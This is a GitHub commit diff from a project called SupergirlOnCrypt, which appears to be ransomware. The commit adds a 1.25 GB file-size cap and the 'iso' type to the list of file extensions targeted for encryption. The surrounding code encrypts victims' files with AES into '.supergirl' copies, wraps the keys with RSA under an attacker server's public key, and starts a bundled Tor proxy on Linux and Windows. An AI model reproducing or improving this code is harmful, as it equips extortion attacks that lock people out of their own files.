Skip to content

Commit

Permalink
Max Filesize Limit
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Sep 14, 2017
1 parent 78ac30d commit cb7a895
Show file tree
Hide file tree
Showing 6 changed files with 23 additions and 12 deletions.
2 changes: 1 addition & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,6 @@ App/build/
*.spec
API/vendor/
API/logs/*
App/server.public.key
App/res/server.public.key
API/bin/private.key
API/.idea/
6 changes: 4 additions & 2 deletions App/Config.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,5 +8,7 @@
'mp4', 'txt', 'log', 'html', 'jpg', 'jpeg', 'gif', 'png', 'tga',
'flv', 'wmv', 'mpeg', 'mov', 'json', 'key', 'xml', 'htm',
'fb2', 'sxw', 'oxps', 'odt', 'ps', 'rtf', 'wpd', 'wp', 'wp7',
'md', 'sh'
]
'md', 'sh', 'iso'
]

MAX_SIZE_LIMIT = 1.25
14 changes: 11 additions & 3 deletions App/FileCrypter.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,12 @@
from AES.RandomKeyGen import RandomKeyGen
from Crypto import Random
from Crypto.Cipher import AES
import base64, os
import base64
import os
import Config

class FileCrypter:

class FileCrypter:
def __init__(self):
self.key, self.iv = RandomKeyGen().getKey()
self.encoding = 'utf-8'
Expand All @@ -31,6 +33,9 @@ def encrypt_file(self, file_name, client_pub_key):
if not os.path.isfile(file_name):
return

file_size = os.path.getsize(file_name) * 0.000000001
if file_size > Config.MAX_SIZE_LIMIT:
return

public_key = serialization.load_ssh_public_key(
bytes(client_pub_key, 'utf-8'),
Expand All @@ -51,8 +56,11 @@ def encrypt_file(self, file_name, client_pub_key):
)

cipher = base64.b64encode(cipher)


with open(file_name, 'rb') as fo:
plaintext = fo.read()

enc = self.encrypt(plaintext, self.key)

with open(file_name + ".supergirl", 'wb') as fo:
Expand Down Expand Up @@ -88,9 +96,9 @@ def decrypt_file(self, file_name, privateKeyStr):
aes_iv_clear = aes_iv_clear.decode(self.encoding)
aes_iv_clear = aes_iv_clear.split(';')[0]
aes_iv_clear = base64.b64decode(aes_iv_clear)

with open(file_name, 'rb') as fo:
ciphertext = fo.read()

dec = self.decrypt(ciphertext, aes_iv_clear)
with open(file_name[:-10], 'wb') as fo:
fo.write(dec)
Expand Down
7 changes: 4 additions & 3 deletions App/RSA/RSAKeyGen.py
Original file line number Diff line number Diff line change
@@ -1,11 +1,12 @@
from cryptography.hazmat.primitives import serialization, hashes
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend

class RSAKeyGen:
def __init__(self, size=1024, pub_exp=65537):
self.key = rsa.generate_private_key(backend=default_backend(), public_exponent=pub_exp, key_size=size)
self.public_key = self.key.public_key().public_bytes(serialization.Encoding.OpenSSH, serialization.PublicFormat.OpenSSH)
self.public_key = self.key.public_key().public_bytes(serialization.Encoding.OpenSSH,
serialization.PublicFormat.OpenSSH)
self.private_key = self.key.private_bytes(encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
Expand Down
2 changes: 1 addition & 1 deletion App/SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -64,7 +64,7 @@ def genKeyPair():

def encryptClientPrivKey(priv_key):
"""Encrypt the Clients private key (given as a str) with the servers public key"""
with open(_helper.path('./server.public.key'), "rb") as key_file:
with open(_helper.path('res/server.public.key'), "rb") as key_file:
public_key = serialization.load_ssh_public_key(
key_file.read(),
backend=default_backend()
Expand Down
4 changes: 2 additions & 2 deletions App/TorManager.py
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ def startProxy(self):
time.sleep(10)

def startLinux(self):
copyfile(self._helper.path("./tor_bin/tor_linux.zip"), self.tor_path_linux + "zip")
copyfile(self._helper.path("tor_bin/tor_linux.zip"), self.tor_path_linux + "zip")
if not os.path.exists(self.tor_path_linux):
os.makedirs(self.tor_path_linux)
else:
Expand All @@ -43,7 +43,7 @@ def startLinux(self):
self._helper.info("Started Tor")

def startWindows(self):
copyfile(self._helper.path("./tor_bin/tor_win.zip"), self.tor_path_win + "zip")
copyfile(self._helper.path("tor_bin/tor_win.zip"), self.tor_path_win + "zip")
if not os.path.exists(self.tor_path_win):
os.makedirs(self.tor_path_win)
else:
Expand Down

0 comments on commit cb7a895

Please sign in to comment.